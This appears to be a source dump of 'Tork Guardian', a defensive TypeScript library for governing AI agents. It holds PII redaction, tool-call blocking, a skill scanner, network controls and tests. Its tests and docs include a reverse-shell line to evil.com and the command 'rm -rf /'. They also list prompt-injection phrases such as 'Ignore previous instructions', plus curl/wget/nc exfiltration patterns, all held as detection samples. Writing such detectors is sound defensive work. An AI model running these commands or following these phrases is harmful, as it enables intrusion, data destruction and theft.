): Promise<GovernedLLMRequest> {
  if (!config.redactPII) {
    return { request, governed: false, receipts: [], pii_found: false };
  }

  const governedMessages = [...request.messages];
  const receipts: string[] = [];
  let piiFound = false;

  for (let i = 0; i < governedMessages.length; i++) {
    const msg = governedMessages[i];
    if (!msg.content || typeof msg.content !== 'string') continue;

    const mode = config.policy === 'strict' ? 'deny' : 'redact';
    const result = await client.govern(msg.content, { mode });

    if (result.receipt?.receipt_id) {
      receipts.push(result.receipt.receipt_id);
    }

    if (result.pii_detected && result.pii_detected.length > 0) {
      piiFound = true;
    }

    if (result.action === 'deny') {
      throw new GovernanceDeniedError(
        `PII detected in message ${i} (${msg.role}). Policy '${config.policy}' denies this request.`,
        result,
      );
    }

    if (result.action === 'redact') {
      governedMessages[i] = { ...msg, content: result.output };
    }
  }

  return {
    request: { ...request, messages: governedMessages },
    governed: true,
    receipts,
    pii_found: piiFound,
  };
}

export class GovernanceDeniedError extends Error {
  readonly governResponse: GovernResponse;

  constructor(message: string, response: GovernResponse) {
    super(message);
    this.name = 'GovernanceDeniedError';
    this.governResponse = response;
  }
}


path: docs/QUICK-START.md
content: # Quick Start

Get up and running with Tork Guardian in 2 minutes.

## Install

```bash
npm install @tork/guardian
```

## Initialize

```typescript
import { TorkGuardian } from '@tork/guardian';

const guardian = new TorkGuardian({
  [REDACTED_SECRET],
});
```

Sign up at [tork.network](https://tork.network) to get your API key.

## Govern an LLM Request

Scan messages for PII before sending to an LLM:

```typescript
const result = await guardian.governLLM({
  messages: [{ role: 'user', content: 'Email [REDACTED_SECRET] about the project' }],
});
// PII is redacted: "Email [EMAIL_REDACTED] about the project"
```

See [README.md](../README.md#quick-start) for full LLM governance docs.

## Govern a Tool Call

Check if a tool call is safe before executing:

```typescript
const decision = guardian.governTool({
  name: 'shell_execute',
  args: { command: 'rm -rf /' },
});
// { allowed: false, reason: 'Blocked shell command pattern: "rm -rf"' }
```

See [README.md](../README.md#policies) for policy configuration.

## Scan a Skill for Vulnerabilities

Scan any OpenClaw skill before installing it:

```typescript
import { SkillScanner } from '@tork/guardian';

const scanner = new SkillScanner();
const report = await scanner.scanSkill('./some-skill');
console.log(`Risk: ${report.riskScore}/100, Verdict: ${report.verdict}`);
```

Or use the CLI:

```bash
npx tork-scan ./some-skill --verbose
```

See [SCANNER.md](SCANNER.md) for the full rule reference and badge system.

## Enable Network Security

Govern port binds, outbound connections, and DNS lookups:

```typescript
const guardian = new TorkGuardian({
  [REDACTED_SECRET],
  networkPolicy: 'strict',
});
const network = guardian.getNetworkHandler();
```

See [NETWORK-SECURITY.md](NETWORK-SECURITY.md) for threat coverage, policies, and compliance receipts.

## What's Next

| Feature | Docs |
|---------|------|
| PII redaction & compliance | [README.md](../README.md) |
| Network governance | [NETWORK-SECURITY.md](NETWORK-SECURITY.md) |
| Security scanner & CLI | [SCANNER.md](SCANNER.md) |
| Example configurations | [README.md](../README.md#example-configs) |


path: docs/SCANNER.md
content: # Tork Security Scanner

The Tork Security Scanner analyzes OpenClaw skills **before installation** to detect vulnerabilities, malicious patterns, and unsafe code. It assigns a risk score, renders a verdict, and generates a Tork Verified badge for skills that pass.

## Detection Rules

The scanner ships with 14 built-in rules across two categories:

### Code Security (SEC)

| ID | Name | Severity | Detects |
|----|------|----------|---------|
| SEC-001 | eval() usage | High | `eval()` calls that enable arbitrary code execution |
| SEC-002 | Function constructor | High | `new Function()` that creates functions from strings |
| SEC-003 | child_process usage | Critical | `require('child_process')`, `exec()`, `spawn()` calls |
| SEC-004 | Write to sensitive paths | High | `writeFile` / `appendFile` targeting `.env`, `.ssh`, `/etc/` |
| SEC-005 | Hardcoded API keys/secrets | Critical | `[REDACTED_SECRET]"`, `secret_key = "..."` patterns |
| SEC-006 | Prompt injection patterns | Critical | "Ignore previous instructions", "you are now a", etc. |
| SEC-007 | Data exfiltration via HTTP | High | `fetch()` / `axios` / `http.request` to external URLs |

### Network Security (NET)

| ID | Name | Severity | Detects |
|----|------|----------|---------|
| NET-001 | Server creation | Medium | `net.createServer`, `http.createServer`, `https.createServer` |
| NET-002 | Hardcoded IP addresses | High | Raw IPs in strings (bypasses domain allowlists) |
| NET-003 | UDP socket creation | High | `dgram.createSocket` (DNS tunneling, C2 channels) |
| NET-004 | DNS TXT record queries | Critical | `dns.resolveTxt`, TXT record lookups (data exfil channel) |
| NET-005 | Process spawn + network call | Critical | `exec("curl ...")`, `spawn("wget ...")`, `spawn("nc ...")` |
| NET-006 | WebSocket to non-standard domains | Medium | `new WebSocket("wss://external...")` |
| NET-007 | Sequential port scanning | Critical | `net.connect`, `net.createConnection` with port args |

## CLI Usage

### Basic scan

```bash
npx tork-scan ./my-skill
```

### With full finding details

```bash
npx tork-scan ./my-skill --verbose
```

### JSON output (for CI/CD pipelines)

```bash
npx tork-scan ./my-skill --json
```

### Strict mode (fail on any high+ finding)

```bash
npx tork-scan ./my-skill --strict
```

## CLI Flags

| Flag | Description |
|------|-------------|
| `--json` | Output results as JSON (report + badge) |
| `--verbose` | Show full details for every finding (snippet, description, remediation) |
| `--strict` | Exit code 1 if any high or critical finding is present |
| `-h`, `--help` | Show usage information |

### Exit codes

| Code | Meaning |
|------|---------|
| 0 | Skill is verified or reviewed |
| 1 | Skill is flagged, or `--strict` and high+ findings exist |
| 2 | Scanner error (invalid path, etc.) |

## Risk Score Calculation

Each finding contributes to the risk score based on its severity:

| Severity | Weight |
|----------|--------|
| Critical | 25 |
| High | 15 |
| Medium | 8 |
| Low | 3 |

The total is capped at 100. Formula: `min(100, sum of weights)`.

**Examples:**
- 1 medium finding: score = 8
- 1 critical + 1 high: score = 40
- 4 critical findings: score = 100

## Verdict Tiers

| Verdict | Score Range | Meaning |
|---------|-------------|---------|
| **Verified** | 0 - 29 | Safe to install. No significant security concerns. |
| **Reviewed** | 30 - 49 | Review recommended. Some patterns need manual inspection. |
| **Flagged** | 50 - 100 | Do not install. Significant security risks detected. |

## Badge System

After scanning, generate a Tork Verified badge for your skill README:

```typescript
import { SkillScanner, generateBadge, generateBadgeMarkdown } from '@tork/guardian';

const scanner = new SkillScanner();
const report = await scanner.scanSkill('./my-skill');
const badge = generateBadge(report);
const markdown = generateBadgeMarkdown(badge);

console.log(markdown);
// [![Tork Verified](https://img.shields.io/badge/...)](https://tork.network/verify/my-skill)
```

### Badge tiers

| Badge | Color | Meaning |
|-------|-------|---------|
| Tork Verified | Green (`#22c55e`) | Score < 30. Safe to install. |
| Tork Reviewed | Yellow (`#eab308`) | Score 30-49. Manual review recommended. |
| Tork Flagged | Red (`#ef4444`) | Score >= 50. Security risks detected. |
| Tork Unverified | Gray (`#6b7280`) | Not yet scanned. |

## Example Scan Output

```
╔══════════════════════════════════════════╗
║          Tork Security Scanner           ║
╚══════════════════════════════════════════╝

  Skill:          my-agent-skill
  Files scanned:  12
  Scan duration:  45ms
  Findings:       3
  Risk score:     48/100
  Verdict:        REVIEWED
  Badge:          Tork Reviewed (reviewed)

── Findings ────────────────────────────────

  Critical (1):
  [CRIT] SEC-003: child_process usage
         src/tools/shell.ts:15:1
         const cp = require("child_process");
         → Direct use of child_process can execute arbitrary system commands.
         ✓ Use Tork Guardian governTool() to validate commands before execution.

  High (1):
  [HIGH] SEC-001: eval() usage
         src/parser.ts:42:12
         const result = eval(expression);
         → Use of eval() allows arbitrary code execution and is a common injection vector.
         ✓ Replace eval() with JSON.parse(), Function(), or a safe expression parser.

  Medium (1):
  [MED ] NET-001: Server creation
         src/server.ts:8:1
         const server = http.createServer(app);
         → Creating network servers may expose the host to inbound connections.
         ✓ Use Tork Guardian validatePortBind() to govern which ports may be opened.

  [![Tork Reviewed](https://img.shields.io/badge/Tork%20Reviewed-reviewed-eab308)](https://tork.network/verify/my-agent-skill)
```

## Programmatic Usage

```typescript
import { SkillScanner } from '@tork/guardian';

const scanner = new SkillScanner();

// Scan an entire skill directory
const report = await scanner.scanSkill('./my-skill');
console.log(`Risk: ${report.riskScore}, Verdict: ${report.verdict}`);

// Scan a single file
const findings = await scanner.scanFile('./my-skill/src/index.ts');
findings.forEach(f => console.log(`${f.ruleId}: ${f.ruleName} at line ${f.line}`));

// Calculate risk from custom findings
const score = scanner.calculateRiskScore(findings);
```

See [QUICK-START.md](QUICK-START.md) for a 2-minute setup guide.


path: docs/NETWORK-SECURITY.md
content: # Network Security

Tork Guardian's network governance layer protects OpenClaw agents from network-level threats: port hijacking, SSRF, reverse shells, and data exfiltration.

## What It Protects Against

| Threat | How Guardian Stops It |
|---|---|
| **Port hijacking** | Tracks which skill owns each port; blocks another skill from rebinding it |
| **Privileged port binding** | Blocks binding to ports below 1024 (HTTP, SSH, DNS, etc.) |
| **SSRF** | Blocks egress to private networks (127.x, 10.x, 192.168.x, 169.254.x) |
| **Reverse shells** | Detects `bash -i /dev/tcp`, `nc -e`, python/perl/ruby socket patterns in shell history |
| **Data exfiltration** | Domain allowlists and rate limiting restrict where and how fast data can leave |
| **Raw IP C2 channels** | DNS validation flags raw IP addresses used instead of hostnames |

## Policies

### Default Policy

Balanced security suitable for development and production.

```
Inbound ports:   3000-3999, 8000-8999
Outbound ports:  80, 443, 8080
Domain filter:   None (all domains allowed)
Rate limit:      60 connections/min
Privileged:      Blocked (< 1024)
Private nets:    Blocked
Reverse shells:  Detected
Port hijacking:  Detected
```

### Strict Policy

Enterprise lockdown for regulated environments.

```
Inbound ports:   3000-3010 only
Outbound ports:  443 only (TLS required)
Domain filter:   Explicit allowlist only
                 (api.openai.com, api.anthropic.com, tork.network,
                  registry.npmjs.org, github.com)
Rate limit:      20 connections/min
Privileged:      Blocked
Private nets:    Blocked
Reverse shells:  Detected
Port hijacking:  Detected
```

### Custom Policy

Override any setting from the default policy:

```typescript
const guardian = new TorkGuardian({
  [REDACTED_SECRET]',
  networkPolicy: 'custom',
  allowedInboundPorts: [3000, 3001, 4000],
  allowedOutboundPorts: [443, 8443],
  allowedDomains: ['api.myservice.com', 'tork.network'],
  blockedDomains: ['evil.com'],
  maxConnectionsPerMinute: 30,
});
```

## Configuration Reference

| Option | Type | Default | Description |
|---|---|---|---|
| `networkPolicy` | `'default' \| 'strict' \| 'custom'` | `'default'` | Base policy preset |
| `allowedInboundPorts` | `number[]` | `3000-3999, 8000-8999` | Ports skills may bind to |
| `allowedOutboundPorts` | `number[]` | `80, 443, 8080` | Ports for outbound connections |
| `allowedDomains` | `string[]` | `[]` (no restriction) | If non-empty, only these domains are allowed |
| `blockedDomains` | `string[]` | `[]` | Domains always blocked |
| `maxConnectionsPerMinute` | `number` | `60` | Per-skill outbound rate limit |

## Reading Network Compliance Receipts

Every network decision is logged with a timestamp, skill ID, action type, and outcome:

```json
{
  "timestamp": "2026-02-06T12:00:00.000Z",
  "skillId": "code-assistant",
  "action": "egress",
  "allowed": true,
  "reason": "Egress to api.openai.com:443 allowed"
}
```

Access the log programmatically:

```typescript
const handler = guardian.getNetworkHandler();

// Get all activity
const log = handler.getActivityLog();

// Get a full network report (includes anomalies)
const report = handler.getMonitor().getNetworkReport();
```

The network report includes:
- **activePorts** — currently bound ports and their owners
- **recentConnections** — outbound connections in the last 5 minutes
- **recentShellCommands** — shell commands in the last 5 minutes
- **connectionRatePerMinute** — current egress rate
- **anomalies** — ports opened after startup, high connection rates, reverse shell patterns


path: tests/index.test.ts
content: import { describe, it, expect } from 'vitest';

// Import everything from the main package entry
import * as guardian from '../dist/index';

describe('Package exports', () => {
  it('exports TorkGuardian class', () => {
    expect(guardian.TorkGuardian).toBeDefined();
    expect(typeof guardian.TorkGuardian).toBe('function');
  });

  it('exports TorkClient class', () => {
    expect(guardian.TorkClient).toBeDefined();
    expect(typeof guardian.TorkClient).toBe('function');
  });

  it('exports NetworkAccessHandler class', () => {
    expect(guardian.NetworkAccessHandler).toBeDefined();
    expect(typeof guardian.NetworkAccessHandler).toBe('function');
  });

  it('exports NetworkMonitor class', () => {
    expect(guardian.NetworkMonitor).toBeDefined();
    expect(typeof guardian.NetworkMonitor).toBe('function');
  });

  it('exports GovernanceDeniedError class', () => {
    expect(guardian.GovernanceDeniedError).toBeDefined();
    expect(typeof guardian.GovernanceDeniedError).toBe('function');
  });

  it('exports standalone governance functions', () => {
    expect(typeof guardian.governLLMRequest).toBe('function');
    expect(typeof guardian.governToolCall).toBe('function');
    expect(typeof guardian.redactPII).toBe('function');
    expect(typeof guardian.generateReceipt).toBe('function');
  });

  it('exports network standalone functions', () => {
    expect(typeof guardian.validatePortBind).toBe('function');
    expect(typeof guardian.validateEgress).toBe('function');
    expect(typeof guardian.validateDNS).toBe('function');
  });

  it('exports network policy presets', () => {
    expect(guardian.DEFAULT_NETWORK_POLICY).toBeDefined();
    expect(guardian.STRICT_NETWORK_POLICY).toBeDefined();
    expect(guardian.DEFAULT_NETWORK_POLICY.networkPolicy).toBe('default');
    expect(guardian.STRICT_NETWORK_POLICY.networkPolicy).toBe('strict');
  });

  it('exports example configs', () => {
    expect(guardian.MINIMAL_CONFIG).toBeDefined();
    expect(guardian.DEVELOPMENT_CONFIG).toBeDefined();
    expect(guardian.PRODUCTION_CONFIG).toBeDefined();
    expect(guardian.ENTERPRISE_CONFIG).toBeDefined();
  });

  it('exports scanner classes and functions', () => {
    expect(guardian.SkillScanner).toBeDefined();
    expect(typeof guardian.SkillScanner).toBe('function');
    expect(typeof guardian.scanFromSource).toBe('function');
    expect(typeof guardian.scanFromURL).toBe('function');
    expect(typeof guardian.formatReportForAPI).toBe('function');
  });

  it('exports badge functions', () => {
    expect(typeof guardian.generateBadge).toBe('function');
    expect(typeof guardian.generateBadgeMarkdown).toBe('function');
    expect(typeof guardian.generateBadgeJSON).toBe('function');
  });

  it('exports scan rules', () => {
    expect(guardian.SCAN_RULES).toBeDefined();
    expect(Array.isArray(guardian.SCAN_RULES)).toBe(true);
    expect(guardian.SCAN_RULES.length).toBe(14);
  });

  it('exports ReportStore', () => {
    expect(guardian.ReportStore).toBeDefined();
  });
});

describe('TorkGuardian class', () => {
  it('constructs with API key', () => {
    const g = new guardian.TorkGuardian({ [REDACTED_SECRET]' });
    expect(g).toBeDefined();
  });

  it('has governLLM method', () => {
    const g = new guardian.TorkGuardian({ [REDACTED_SECRET]' });
    expect(typeof g.governLLM).toBe('function');
  });

  it('has governTool method', () => {
    const g = new guardian.TorkGuardian({ [REDACTED_SECRET]' });
    expect(typeof g.governTool).toBe('function');
  });

  it('has redactPII method', () => {
    const g = new guardian.TorkGuardian({ [REDACTED_SECRET]' });
    expect(typeof g.redactPII).toBe('function');
  });

  it('has generateReceipt method', () => {
    const g = new guardian.TorkGuardian({ [REDACTED_SECRET]' });
    expect(typeof g.generateReceipt).toBe('function');
  });

  it('has getNetworkHandler method', () => {
    const g = new guardian.TorkGuardian({ [REDACTED_SECRET]' });
    expect(typeof g.getNetworkHandler).toBe('function');
    expect(g.getNetworkHandler()).toBeInstanceOf(guardian.NetworkAccessHandler);
  });

  it('getConfig returns parsed config', () => {
    const g = new guardian.TorkGuardian({ [REDACTED_SECRET]', policy: 'strict' });
    const config = g.getConfig();
    expect(config.apiKey).toBe('test-key');
    expect(config.policy).toBe('strict');
  });
});


path: tests/config.test.ts
content: import { describe, it, expect } from 'vitest';
import { TorkConfigSchema } from '../dist/config';
import { DEFAULT_NETWORK_POLICY } from '../dist/policies/network-default';
import { STRICT_NETWORK_POLICY } from '../dist/policies/network-strict';
import { DEVELOPMENT_CONFIG } from '../dist/examples/development';
import { PRODUCTION_CONFIG } from '../dist/examples/production';
import { ENTERPRISE_CONFIG } from '../dist/examples/enterprise';
import { MINIMAL_CONFIG } from '../dist/examples/minimal';

describe('TorkConfigSchema', () => {
  it('parses a minimal config with just an API key', () => {
    const config = TorkConfigSchema.parse({ [REDACTED_SECRET]' });
    expect(config.apiKey).toBe('tork_test_123');
    expect(config.policy).toBe('standard');
    expect(config.redactPII).toBe(true);
    expect(config.networkPolicy).toBe('default');
  });

  it('applies correct defaults', () => {
    const config = TorkConfigSchema.parse({ apiKey: 'key' });
    expect(config.baseUrl).toBe('https://tork.network');
    expect(config.blockShellCommands).toContain('rm -rf');
    expect(config.blockedPaths).toContain('.env');
    expect(config.allowedPaths).toEqual([]);
  });

  it('rejects empty API key', () => {
    expect(() => TorkConfigSchema.parse({ apiKey: '' })).toThrow();
  });

  it('accepts custom overrides', () => {
    const config = TorkConfigSchema.parse({
      apiKey: 'key',
      policy: 'strict',
      networkPolicy: 'strict',
      maxConnectionsPerMinute: 10,
      allowedDomains: ['api.openai.com'],
    });
    expect(config.policy).toBe('strict');
    expect(config.networkPolicy).toBe('strict');
    expect(config.maxConnectionsPerMinute).toBe(10);
    expect(config.allowedDomains).toEqual(['api.openai.com']);
  });
});

describe('Network Policy Presets', () => {
  describe('DEFAULT_NETWORK_POLICY', () => {
    it('uses "default" as network policy', () => {
      expect(DEFAULT_NETWORK_POLICY.networkPolicy).toBe('default');
    });

    it('allows ports 3000-3999 inbound', () => {
      expect(DEFAULT_NETWORK_POLICY.allowedInboundPorts).toContain(3000);
      expect(DEFAULT_NETWORK_POLICY.allowedInboundPorts).toContain(3999);
    });

    it('allows ports 8000-8999 inbound', () => {
      expect(DEFAULT_NETWORK_POLICY.allowedInboundPorts).toContain(8000);
      expect(DEFAULT_NETWORK_POLICY.allowedInboundPorts).toContain(8999);
    });

    it('allows ports 80, 443, 8080 outbound', () => {
      expect(DEFAULT_NETWORK_POLICY.allowedOutboundPorts).toEqual([80, 443, 8080]);
    });

    it('has no domain restrictions', () => {
      expect(DEFAULT_NETWORK_POLICY.allowedDomains).toEqual([]);
    });

    it('rate limits at 60 connections/min', () => {
      expect(DEFAULT_NETWORK_POLICY.maxConnectionsPerMinute).toBe(60);
    });

    it('has all detection enabled', () => {
      expect(DEFAULT_NETWORK_POLICY.detectPortHijacking).toBe(true);
      expect(DEFAULT_NETWORK_POLICY.detectReverseShells).toBe(true);
      expect(DEFAULT_NETWORK_POLICY.blockPrivilegedPorts).toBe(true);
      expect(DEFAULT_NETWORK_POLICY.blockPrivateNetworks).toBe(true);
      expect(DEFAULT_NETWORK_POLICY.logAllActivity).toBe(true);
    });
  });

  describe('STRICT_NETWORK_POLICY', () => {
    it('uses "strict" as network policy', () => {
      expect(STRICT_NETWORK_POLICY.networkPolicy).toBe('strict');
    });

    it('only allows ports 3000-3010 inbound', () => {
      expect(STRICT_NETWORK_POLICY.allowedInboundPorts).toContain(3000);
      expect(STRICT_NETWORK_POLICY.allowedInboundPorts).toContain(3010);
      expect(STRICT_NETWORK_POLICY.allowedInboundPorts).not.toContain(3011);
    });

    it('only allows port 443 outbound (TLS only)', () => {
      expect(STRICT_NETWORK_POLICY.allowedOutboundPorts).toEqual([443]);
    });

    it('has explicit domain allowlist', () => {
      expect(STRICT_NETWORK_POLICY.allowedDomains.length).toBeGreaterThan(0);
      expect(STRICT_NETWORK_POLICY.allowedDomains).toContain('api.openai.com');
      expect(STRICT_NETWORK_POLICY.allowedDomains).toContain('api.anthropic.com');
      expect(STRICT_NETWORK_POLICY.allowedDomains).toContain('tork.network');
    });

    it('rate limits at 20 connections/min', () => {
      expect(STRICT_NETWORK_POLICY.maxConnectionsPerMinute).toBe(20);
    });
  });
});

describe('Example Configs', () => {
  it('MINIMAL_CONFIG has only an API key placeholder', () => {
    expect(MINIMAL_CONFIG.apiKey).toBeDefined();
  });

  it('DEVELOPMENT_CONFIG uses minimal policy', () => {
    expect(DEVELOPMENT_CONFIG.policy).toBe('minimal');
    expect(DEVELOPMENT_CONFIG.networkPolicy).toBe('default');
  });

  it('PRODUCTION_CONFIG uses standard policy with blocked domains', () => {
    expect(PRODUCTION_CONFIG.policy).toBe('standard');
    expect(PRODUCTION_CONFIG.blockedDomains).toContain('pastebin.com');
    expect(PRODUCTION_CONFIG.blockedDomains).toContain('ngrok.io');
    expect(PRODUCTION_CONFIG.blockedDomains).toContain('webhook.site');
  });

  it('ENTERPRISE_CONFIG uses strict policy with strict network', () => {
    expect(ENTERPRISE_CONFIG.policy).toBe('strict');
    expect(ENTERPRISE_CONFIG.networkPolicy).toBe('strict');
    expect(ENTERPRISE_CONFIG.maxConnectionsPerMinute).toBe(20);
    expect(ENTERPRISE_CONFIG.allowedDomains).toContain('api.openai.com');
  });
});


path: tests/client.test.ts
content: import { describe, it, expect, vi } from 'vitest';
import { TorkClient } from '../dist/client';

function makeClientWithMockHttp(mockPost: ReturnType<typeof vi.fn>) {
  const client = new TorkClient('tork_test_key');
  // Replace the internal axios instance with a mock
  (client as any).http = { post: mockPost };
  return client;
}

describe('TorkClient', () => {
  it('initializes with API key', () => {
    const client = new TorkClient('tork_test_key_123');
    expect(client).toBeDefined();
  });

  it('initializes with custom base URL', () => {
    const client = new TorkClient('tork_key', 'https://custom.tork.network');
    expect(client).toBeDefined();
  });

  it('fail-open: returns allow when API is unreachable', async () => {
    const mockPost = vi.fn().mockRejectedValue(new Error('ECONNREFUSED'));
    const client = makeClientWithMockHttp(mockPost);

    const result = await client.govern('test content');

    expect(result.action).toBe('allow');
    expect(result.output).toBe('test content');
    expect(mockPost).toHaveBeenCalledWith('/api/v1/govern', {
      content: 'test content',
      options: undefined,
    });
  });

  it('redact calls govern with redact mode', async () => {
    const mockPost = vi.fn().mockResolvedValue({
      data: { action: 'redact', output: '[REDACTED]' },
    });
    const client = makeClientWithMockHttp(mockPost);

    const result = await client.redact('sensitive data');

    expect(result.action).toBe('redact');
    expect(result.output).toBe('[REDACTED]');
    expect(mockPost).toHaveBeenCalledWith('/api/v1/govern', {
      content: 'sensitive data',
      options: { mode: 'redact' },
    });
  });
});


path: tests/handlers/network-access.test.ts
content: import { describe, it, expect, beforeEach } from 'vitest';
import { NetworkAccessHandler, validatePortBind, validateEgress, validateDNS } from '../../dist/handlers/network-access';
import { TorkConfigSchema } from '../../dist/config';

function makeConfig(overrides: Record<string, unknown> = {}) {
  return TorkConfigSchema.parse({ [REDACTED_SECRET]', ...overrides });
}

describe('NetworkAccessHandler', () => {
  let handler: NetworkAccessHandler;
  let defaultConfig: ReturnType<typeof makeConfig>;

  beforeEach(() => {
    defaultConfig = makeConfig();
    handler = new NetworkAccessHandler(defaultConfig);
  });

  describe('validatePortBind', () => {
    it('blocks privileged ports (< 1024)', () => {
      const result = handler.validatePortBind('skill-a', 80);
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('Privileged port');
    });

    it('blocks port 22 (SSH)', () => {
      expect(handler.validatePortBind('s', 22).allowed).toBe(false);
    });

    it('blocks port 443 inbound', () => {
      expect(handler.validatePortBind('s', 443).allowed).toBe(false);
    });

    it('allows ports in the default inbound allowlist (3000-3999)', () => {
      expect(handler.validatePortBind('s', 3000).allowed).toBe(true);
      expect(handler.validatePortBind('s', 3500).allowed).toBe(true);
      expect(handler.validatePortBind('s', 3999).allowed).toBe(true);
    });

    it('allows ports in the default inbound allowlist (8000-8999)', () => {
      expect(handler.validatePortBind('s', 8000).allowed).toBe(true);
      expect(handler.validatePortBind('s', 8080).allowed).toBe(true);
      expect(handler.validatePortBind('s', 8999).allowed).toBe(true);
    });

    it('denies ports outside the allowlist', () => {
      expect(handler.validatePortBind('s', 5555).allowed).toBe(false);
      expect(handler.validatePortBind('s', 9999).allowed).toBe(false);
    });

    it('registers port binding after allowed bind', () => {
      handler.validatePortBind('skill-a', 3000);
      const owner = handler.getMonitor().getPortOwner(3000);
      expect(owner).toBeDefined();
      expect(owner!.skillId).toBe('skill-a');
    });
  });

  describe('port hijacking detection', () => {
    it('detects port hijacking by another skill', () => {
      handler.validatePortBind('skill-a', 3000);
      const result = handler.validatePortBind('skill-b', 3000);
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('Port hijacking');
    });

    it('allows same skill to rebind its own port', () => {
      handler.validatePortBind('skill-a', 3000);
      expect(handler.validatePortBind('skill-a', 3000).allowed).toBe(true);
    });
  });

  describe('validateEgress', () => {
    it('allows outbound on port 443 (default policy)', () => {
      const result = handler.validateEgress('s', 'api.openai.com', 443);
      expect(result.allowed).toBe(true);
    });

    it('allows outbound on port 80 (default policy)', () => {
      expect(handler.validateEgress('s', 'example.com', 80).allowed).toBe(true);
    });

    it('allows outbound on port 8080 (default policy)', () => {
      expect(handler.validateEgress('s', 'example.com', 8080).allowed).toBe(true);
    });

    it('denies outbound on non-permitted ports', () => {
      const result = handler.validateEgress('s', 'example.com', 22);
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('not allowed');
    });

    it('records connection after allowed egress', () => {
      handler.validateEgress('s', 'example.com', 443);
      expect(handler.getMonitor().getConnectionsPerMinute('s')).toBe(1);
    });
  });

  describe('private network blocking (SSRF)', () => {
    const privateHosts = [
      '127.0.0.1',
      '10.0.0.1',
      '10.255.255.255',
      '172.16.0.1',
      '172.31.255.255',
      '192.168.1.1',
      '192.168.0.1',
      '169.254.169.254',
      '0.0.0.0',
      'localhost',
    ];

    for (const host of privateHosts) {
      it(`blocks egress to ${host}`, () => {
        expect(handler.validateEgress('s', host, 443).allowed).toBe(false);
      });
    }

    it('allows egress to public hosts', () => {
      expect(handler.validateEgress('s', 'api.openai.com', 443).allowed).toBe(true);
    });
  });

  describe('domain allowlist (strict policy)', () => {
    let strictHandler: NetworkAccessHandler;

    beforeEach(() => {
      strictHandler = new NetworkAccessHandler(makeConfig({ networkPolicy: 'strict' }));
    });

    it('allows whitelisted domains', () => {
      expect(strictHandler.validateEgress('s', 'api.openai.com', 443).allowed).toBe(true);
      expect(strictHandler.validateEgress('s', 'api.anthropic.com', 443).allowed).toBe(true);
      expect(strictHandler.validateEgress('s', 'tork.network', 443).allowed).toBe(true);
      expect(strictHandler.validateEgress('s', 'github.com', 443).allowed).toBe(true);
    });

    it('blocks non-whitelisted domains', () => {
      expect(strictHandler.validateEgress('s', 'evil.com', 443).allowed).toBe(false);
      expect(strictHandler.validateEgress('s', 'pastebin.com', 443).allowed).toBe(false);
    });

    it('blocks subdomains of non-whitelisted domains', () => {
      expect(strictHandler.validateEgress('s', 'sub.evil.com', 443).allowed).toBe(false);
    });
  });

  describe('domain blocklist', () => {
    it('blocks exact match in blocklist', () => {
      const h = new NetworkAccessHandler(makeConfig({
        networkPolicy: 'custom',
        blockedDomains: ['evil.com'],
      }));
      expect(h.validateEgress('s', 'evil.com', 443).allowed).toBe(false);
    });

    it('blocks subdomains of blocked domains', () => {
      const h = new NetworkAccessHandler(makeConfig({
        networkPolicy: 'custom',
        blockedDomains: ['evil.com'],
      }));
      expect(h.validateEgress('s', 'sub.evil.com', 443).allowed).toBe(false);
    });
  });

  describe('rate limiting', () => {
    it('denies when rate limit is exceeded', () => {
      const h = new NetworkAccessHandler(makeConfig({
        networkPolicy: 'custom',
        maxConnectionsPerMinute: 3,
      }));
      expect(h.validateEgress('s', 'a.com', 443).allowed).toBe(true);
      expect(h.validateEgress('s', 'b.com', 443).allowed).toBe(true);
      expect(h.validateEgress('s', 'c.com', 443).allowed).toBe(true);
      const result = h.validateEgress('s', 'd.com', 443);
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('Rate limit');
    });
  });

  describe('reverse shell detection', () => {
    it('denies egress after suspicious shell command', () => {
      handler.getMonitor().recordShellCommand('bash -i >& /dev/tcp/evil.com/4444 0>&1', 'skill-a');
      const result = handler.validateEgress('skill-a', 'evil.com', 443);
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('Reverse shell');
    });

    it('allows egress when shell commands are benign', () => {
      handler.getMonitor().recordShellCommand('echo hello', 'skill-a');
      expect(handler.validateEgress('skill-a', 'example.com', 443).allowed).toBe(true);
    });
  });

  describe('validateDNS', () => {
    it('allows valid hostnames', () => {
      expect(handler.validateDNS('s', 'api.openai.com').allowed).toBe(true);
    });

    it('blocks raw IPv4 addresses', () => {
      const result = handler.validateDNS('s', '192.168.1.1');
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('Raw IP');
    });

    it('blocks raw IPv6 addresses', () => {
      expect(handler.validateDNS('s', '::1').allowed).toBe(false);
    });

    it('enforces blocklist for DNS', () => {
      const h = new NetworkAccessHandler(makeConfig({
        networkPolicy: 'custom',
        blockedDomains: ['evil.com'],
      }));
      expect(h.validateDNS('s', 'evil.com').allowed).toBe(false);
    });

    it('enforces allowlist for DNS under strict policy', () => {
      const h = new NetworkAccessHandler(makeConfig({ networkPolicy: 'strict' }));
      expect(h.validateDNS('s', 'api.openai.com').allowed).toBe(true);
      expect(h.validateDNS('s', 'unknown.com').allowed).toBe(false);
    });
  });

  describe('activity log', () => {
    it('logs allowed actions', () => {
      handler.validatePortBind('skill-a', 3000);
      const log = handler.getActivityLog();
      expect(log.length).toBe(1);
      expect(log[0].allowed).toBe(true);
      expect(log[0].skillId).toBe('skill-a');
      expect(log[0].action).toBe('port_bind');
    });

    it('always logs denied actions', () => {
      handler.validatePortBind('s', 22);
      expect(handler.getActivityLog().length).toBe(1);
      expect(handler.getActivityLog()[0].allowed).toBe(false);
    });

    it('clears log', () => {
      handler.validatePortBind('s', 3000);
      handler.clearActivityLog();
      expect(handler.getActivityLog().length).toBe(0);
    });
  });

  describe('standalone functions', () => {
    it('validatePortBind works standalone', () => {
      expect(validatePortBind(defaultConfig, 's', 3000).allowed).toBe(true);
      expect(validatePortBind(defaultConfig, 's', 22).allowed).toBe(false);
    });

    it('validateEgress works standalone', () => {
      expect(validateEgress(defaultConfig, 's', 'example.com', 443).allowed).toBe(true);
      expect(validateEgress(defaultConfig, 's', 'example.com', 22).allowed).toBe(false);
    });

    it('validateDNS works standalone', () => {
      expect(validateDNS(defaultConfig, 's', 'example.com').allowed).toBe(true);
      expect(validateDNS(defaultConfig, 's', '10.0.0.1').allowed).toBe(false);
    });
  });
});


path: tests/scanner/index.test.ts
content: import { describe, it, expect } from 'vitest';
